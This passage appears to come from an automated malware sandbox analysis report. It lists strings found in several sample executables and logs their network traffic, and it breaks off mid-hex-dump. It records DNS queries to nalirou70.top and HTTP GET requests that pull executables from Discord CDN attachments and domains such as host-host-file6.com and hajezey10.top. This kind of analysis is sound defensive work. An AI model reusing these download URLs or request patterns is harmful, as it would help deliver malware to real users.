Source: 59B4.exe, 00000013.00000002.960422762.0000000003251000.00000004.00000001.sdmp, 8039.exe, 00000016.00000002.950775295.0000000002901000.00000004.00000001.sdmp, 610B.exe, 0000001B.00000002.952967060.00000000026B1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id20Response
Source: 59B4.exe, 00000013.00000002.960422762.0000000003251000.00000004.00000001.sdmp, 8039.exe, 00000016.00000002.950775295.0000000002901000.00000004.00000001.sdmp, 610B.exe, 0000001B.00000002.952967060.00000000026B1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id21
Source: 59B4.exe, 00000013.00000002.960422762.0000000003251000.00000004.00000001.sdmp, 8039.exe, 00000016.00000002.950775295.0000000002901000.00000004.00000001.sdmp, 610B.exe, 0000001B.00000002.952967060.00000000026B1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id21Response
Source: 59B4.exe, 00000013.00000002.960422762.0000000003251000.00000004.00000001.sdmp, 8039.exe, 00000016.00000002.950775295.0000000002901000.00000004.00000001.sdmp, 610B.exe, 0000001B.00000002.952967060.00000000026B1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id22
Source: 59B4.exe, 00000013.00000002.960422762.0000000003251000.00000004.00000001.sdmp, 8039.exe, 00000016.00000002.950775295.0000000002901000.00000004.00000001.sdmp, 610B.exe, 0000001B.00000002.952967060.00000000026B1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id22Response
Source: 59B4.exe, 00000013.00000002.960422762.0000000003251000.00000004.00000001.sdmp, 8039.exe, 00000016.00000002.950775295.0000000002901000.00000004.00000001.sdmp, 610B.exe, 0000001B.00000002.952967060.00000000026B1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id23
Source: 8039.exe, 00000016.00000002.950832258.0000000002990000.00000004.00000001.sdmp, 610B.exe, 0000001B.00000002.952967060.00000000026B1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id23Response
Source: 59B4.exe, 00000013.00000002.960422762.0000000003251000.00000004.00000001.sdmp, 8039.exe, 00000016.00000002.950775295.0000000002901000.00000004.00000001.sdmp, 610B.exe, 0000001B.00000002.952967060.00000000026B1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id24
Source: 59B4.exe, 00000013.00000002.960422762.0000000003251000.00000004.00000001.sdmp, 8039.exe, 00000016.00000002.950775295.0000000002901000.00000004.00000001.sdmp, 610B.exe, 0000001B.00000002.952967060.00000000026B1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id24Response
Source: 8039.exe, 00000016.00000002.950832258.0000000002990000.00000004.00000001.sdmp, 610B.exe, 0000001B.00000002.952967060.00000000026B1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id2Response
Source: 59B4.exe, 00000013.00000002.960422762.0000000003251000.00000004.00000001.sdmp, 8039.exe, 00000016.00000002.950775295.0000000002901000.00000004.00000001.sdmp, 610B.exe, 0000001B.00000002.952967060.00000000026B1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id3
Source: 8039.exe, 00000016.00000002.950832258.0000000002990000.00000004.00000001.sdmp, 610B.exe, 0000001B.00000002.952967060.00000000026B1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id3Response
Source: 59B4.exe, 00000013.00000002.960422762.0000000003251000.00000004.00000001.sdmp, 8039.exe, 00000016.00000002.950775295.0000000002901000.00000004.00000001.sdmp, 610B.exe, 0000001B.00000002.952967060.00000000026B1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id4
Source: 59B4.exe, 00000013.00000002.960422762.0000000003251000.00000004.00000001.sdmp, 8039.exe, 00000016.00000002.950775295.0000000002901000.00000004.00000001.sdmp, 610B.exe, 0000001B.00000002.952967060.00000000026B1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id4Response
Source: 59B4.exe, 00000013.00000002.960422762.0000000003251000.00000004.00000001.sdmp, 8039.exe, 00000016.00000002.950775295.0000000002901000.00000004.00000001.sdmp, 610B.exe, 0000001B.00000002.952967060.00000000026B1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id5
Source: 59B4.exe, 00000013.00000002.960422762.0000000003251000.00000004.00000001.sdmp, 8039.exe, 00000016.00000002.950775295.0000000002901000.00000004.00000001.sdmp, 610B.exe, 0000001B.00000002.952967060.00000000026B1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id5Response
Source: 59B4.exe, 00000013.00000002.960422762.0000000003251000.00000004.00000001.sdmp, 8039.exe, 00000016.00000002.950775295.0000000002901000.00000004.00000001.sdmp, 610B.exe, 0000001B.00000002.952967060.00000000026B1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id6
Source: 59B4.exe, 00000013.00000002.960422762.0000000003251000.00000004.00000001.sdmp, 8039.exe, 00000016.00000002.950775295.0000000002901000.00000004.00000001.sdmp, 610B.exe, 0000001B.00000002.952967060.00000000026B1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id6Response
Source: 59B4.exe, 00000013.00000002.960422762.0000000003251000.00000004.00000001.sdmp, 8039.exe, 00000016.00000002.950775295.0000000002901000.00000004.00000001.sdmp, 610B.exe, 0000001B.00000002.952967060.00000000026B1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id7
Source: 59B4.exe, 00000013.00000002.960422762.0000000003251000.00000004.00000001.sdmp, 8039.exe, 00000016.00000002.950775295.0000000002901000.00000004.00000001.sdmp, 610B.exe, 0000001B.00000002.952967060.00000000026B1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id7Response
Source: 59B4.exe, 00000013.00000002.960422762.0000000003251000.00000004.00000001.sdmp, 8039.exe, 00000016.00000002.950775295.0000000002901000.00000004.00000001.sdmp, 610B.exe, 0000001B.00000002.952967060.00000000026B1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id8
Source: 59B4.exe, 00000013.00000002.960422762.0000000003251000.00000004.00000001.sdmp, 8039.exe, 00000016.00000002.950775295.0000000002901000.00000004.00000001.sdmp, 610B.exe, 0000001B.00000002.952967060.00000000026B1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id8Response
Source: 59B4.exe, 00000013.00000002.960422762.0000000003251000.00000004.00000001.sdmp, 8039.exe, 00000016.00000002.950775295.0000000002901000.00000004.00000001.sdmp, 610B.exe, 0000001B.00000002.952967060.00000000026B1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id9
Source: 59B4.exe, 00000013.00000002.960422762.0000000003251000.00000004.00000001.sdmp, 8039.exe, 00000016.00000002.950775295.0000000002901000.00000004.00000001.sdmp, 610B.exe, 0000001B.00000002.952967060.00000000026B1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id9Response
Source: 59B4.exe, 00000013.00000002.960422762.0000000003251000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/X
Source: 610B.exe, 0000001B.00000002.952967060.00000000026B1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/t
Source: 8039.exe, 00000016.00000002.957840474.0000000002DA0000.00000004.00000001.sdmp	String found in binary or memory: http://www.google.com/earth/explore/products/plugin.html
Source: 8039.exe, 00000016.00000002.957840474.0000000002DA0000.00000004.00000001.sdmp	String found in binary or memory: http://www.interoperabilitybridges.com/wmp-extension-for-chrome
Source: AdvancedRun.exe, AdvancedRun.exe, 0000001C.00000000.907769722.000000000040C000.00000002.00020000.sdmp, AdvancedRun.exe, 0000001E.00000000.914935574.000000000040C000.00000002.00020000.sdmp, AdvancedRun.exe.24.dr	String found in binary or memory: http://www.nirsoft.net/
Source: 8039.exe, 00000016.00000002.951714322.0000000002ABF000.00000004.00000001.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: 59B4.exe, 00000013.00000002.960422762.0000000003251000.00000004.00000001.sdmp, 8039.exe, 00000014.00000002.860279815.00000000046F9000.00000004.00000001.sdmp, 8039.exe, 00000016.00000000.851440177.0000000000402000.00000040.00000001.sdmp, 8039.exe, 00000016.00000002.950832258.0000000002990000.00000004.00000001.sdmp, 610B.exe, 0000001B.00000002.954434043.00000000036B5000.00000004.00000001.sdmp, 82DC.exe, 0000001D.00000002.948562304.0000000003EEF000.00000004.00000001.sdmp	String found in binary or memory: https://api.ip.sb/ip
Source: B8B0.exe, 00000018.00000002.954057953.0000000003041000.00000004.00000001.sdmp	String found in binary or memory: https://cdn.discordapp.com
Source: B8B0.exe, 00000018.00000002.954057953.0000000003041000.00000004.00000001.sdmp, B8B0.exe.5.dr	String found in binary or memory: https://cdn.discordapp.com/attachments/893177342426509335/902526114763767818/A623D0D3.jpg
Source: B8B0.exe, 00000018.00000002.954057953.0000000003041000.00000004.00000001.sdmp, B8B0.exe.5.dr	String found in binary or memory: https://cdn.discordapp.com/attachments/893177342426509335/902526117016109056/AB0F9338.jpg
Source: 8039.exe, 00000016.00000002.951714322.0000000002ABF000.00000004.00000001.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: 8039.exe, 00000016.00000002.951714322.0000000002ABF000.00000004.00000001.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: 8039.exe, 00000016.00000002.951714322.0000000002ABF000.00000004.00000001.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: 8039.exe, 00000016.00000002.951714322.0000000002ABF000.00000004.00000001.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtabt
Source: 8039.exe, 00000016.00000002.951714322.0000000002ABF000.00000004.00000001.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: 8039.exe, 00000016.00000002.951714322.0000000002ABF000.00000004.00000001.sdmp	String found in binary or memory: https://get.adob
Source: 8039.exe, 00000016.00000002.951714322.0000000002ABF000.00000004.00000001.sdmp	String found in binary or memory: https://helpx.ad
Source: 8039.exe, 00000016.00000002.951714322.0000000002ABF000.00000004.00000001.sdmp	String found in binary or memory: https://search.yahoo.com/favicon.icohttps://search.yahoo.com/search
Source: 8039.exe, 00000016.00000002.951714322.0000000002ABF000.00000004.00000001.sdmp	String found in binary or memory: https://search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: AdvancedRun.exe.24.dr	String found in binary or memory: https://sectigo.com/CPS0C
Source: 59B4.exe.5.dr	String found in binary or memory: https://sectigo.com/CPS0D
Source: 8039.exe, 00000016.00000002.951714322.0000000002ABF000.00000004.00000001.sdmp	String found in binary or memory: https://support.google.com/chrome/?p=plugin_divx
Source: 8039.exe, 00000016.00000002.951714322.0000000002ABF000.00000004.00000001.sdmp	String found in binary or memory: https://support.google.com/chrome/?p=plugin_flash
Source: 8039.exe, 00000016.00000002.957840474.0000000002DA0000.00000004.00000001.sdmp	String found in binary or memory: https://support.google.com/chrome/?p=plugin_java
Source: 8039.exe, 00000016.00000002.951714322.0000000002ABF000.00000004.00000001.sdmp	String found in binary or memory: https://support.google.com/chrome/?p=plugin_pdf
Source: 8039.exe, 00000016.00000002.951714322.0000000002ABF000.00000004.00000001.sdmp	String found in binary or memory: https://support.google.com/chrome/?p=plugin_quicktime
Source: 8039.exe, 00000016.00000002.957840474.0000000002DA0000.00000004.00000001.sdmp	String found in binary or memory: https://support.google.com/chrome/?p=plugin_real
Source: 8039.exe, 00000016.00000002.951714322.0000000002ABF000.00000004.00000001.sdmp	String found in binary or memory: https://support.google.com/chrome/?p=plugin_shockwave
Source: 8039.exe, 00000016.00000002.957840474.0000000002DA0000.00000004.00000001.sdmp	String found in binary or memory: https://support.google.com/chrome/?p=plugin_wmp
Source: 8039.exe, 00000016.00000002.951714322.0000000002ABF000.00000004.00000001.sdmp	String found in binary or memory: https://support.google.com/chrome/answer/6258784
Source: 8039.exe, 00000016.00000002.951714322.0000000002ABF000.00000004.00000001.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico

Source: unknown

DNS traffic detected: queries for: nalirou70.top

Source: global traffic	HTTP traffic detected: GET /attachments/893177342426509335/902526114763767818/A623D0D3.jpg HTTP/1.1Host: cdn.discordapp.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /attachments/893177342426509335/902526117016109056/AB0F9338.jpg HTTP/1.1Host: cdn.discordapp.com
Source: global traffic	HTTP traffic detected: GET /attachments/906160963437363273/906989761716187247/Discrepant.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: cdn.discordapp.com
Source: global traffic	HTTP traffic detected: GET /downloads/toolspab2.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: privacytoolzforyou7000.top
Source: global traffic	HTTP traffic detected: GET /files/5675_1636449658_2701.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: host-host-file6.com
Source: global traffic	HTTP traffic detected: GET /files/5600_1636395892_7115.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: host-host-file6.com
Source: global traffic	HTTP traffic detected: GET /files/1516_1636380988_6400.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: host-host-file6.com
Source: global traffic	HTTP traffic detected: GET /clapp.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: hajezey10.top
Source: global traffic	HTTP traffic detected: GET /files/7993_1636371023_9825.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: host-host-file6.com

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49871
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49880
Source: unknown	Network traffic detected: HTTP traffic on port 49871 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49880 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49868 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49868

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Tue, 09 Nov 2021 21:20:49 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 0d 0a 14 00 00 00 7b fa f7 18 b5 69 2b 2c 47 fa 0e a8 c1 82 9f 4f 1a c4 da 16 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 19{i+,GO0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Tue, 09 Nov 2021 21:20:50 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 34 35 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f d1 95 4f 11 6a 11 e9 b2 83 bd a6 0b a2 13 cc 7b b8 43 08 c4 55 a1 a7 3d ef 3a 1a 1a b3 ee d2 43 e2 00 8d 01 c9 ba 78 da 7e ac ec c3 02 29 f8 e3 00 7e 0d 0a 30 0d 0a 0d 0a Data Ascii: 45I:82OOj{CU=:Cx~)~0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Tue, 09 Nov 2021 21:20:57 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 31 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 6e 61 6c 69 72 6f 75 37 30 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 191<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at nalirou70.top Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Tue, 09 Nov 2021 21:20:59 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 32 63 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f 93 d6 10 49 3a 40 a8 e8 dd e1 fd 5f f7 4d 91 71 b2 42 4a 84 4b f4 f1 2c 89 0d 0a 30 0d 0a 0d 0a Data Ascii: 2cI:82OI:@_MqBJK,0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Tue, 09 Nov 2021 21:21:05 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 31 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 6e 61 6c 69 72 6f 75 37 30 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 191<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at nalirou70.top Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Tue, 09 Nov 2021 21:21:09 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 34 35 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f c9 88 55 13 26 1a ff b5 98 ff ac 18 a8 19 88 2c b4 59 52 db 03 f8 e5 2c f3 65 00 48 eb ac e3 1e bb 52 df 46 d2 f7 21 80 2a 80 ae 95 50 2a f8 e3 00 7e 0d 0a 30 0d 0a 0d 0a Data Ascii: 45I:82OU&,YR,eHRF!P~0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Tue, 09 Nov 2021 21:21:22 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 31 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 6e 61 6c 69 72 6f 75 37 30 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 191<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at nalirou70.top Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Tue, 09 Nov 2021 21:21:24 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 34 35 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f c9 88 55 13 26 1a ff b5 98 ff ac 18 a8 19 88 2c b4 59 52 db 03 f8 e5 2c f3 65 00 48 ec a9 e3 1e bb 52 df 41 df fb 2f 8c 20 80 ab 93 51 2e f8 e3 00 7e 0d 0a 30 0d 0a 0d 0a Data Ascii: 45I:82OU&,YR,eHRA/ Q.~0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Tue, 09 Nov 2021 21:21:31 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 31 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 6e 61 6c 69 72 6f 75 37 30 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 191<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at nalirou70.top Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Tue, 09 Nov 2021 21:21:32 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 34 35 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f c9 88 55 13 26 1a ff b5 98 ff ac 18 a8 19 88 2c b4 59 52 db 03 f8 e5 2c f3 65 04 4b ed af e3 1e bb 52 df 41 de fe 2e 8d 2a 80 aa 96 50 2b f8 e3 00 7e 0d 0a 30 0d 0a 0d 0a Data Ascii: 45I:82OU&,YR,eKRA.*P+~0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Tue, 09 Nov 2021 21:21:38 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 31 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 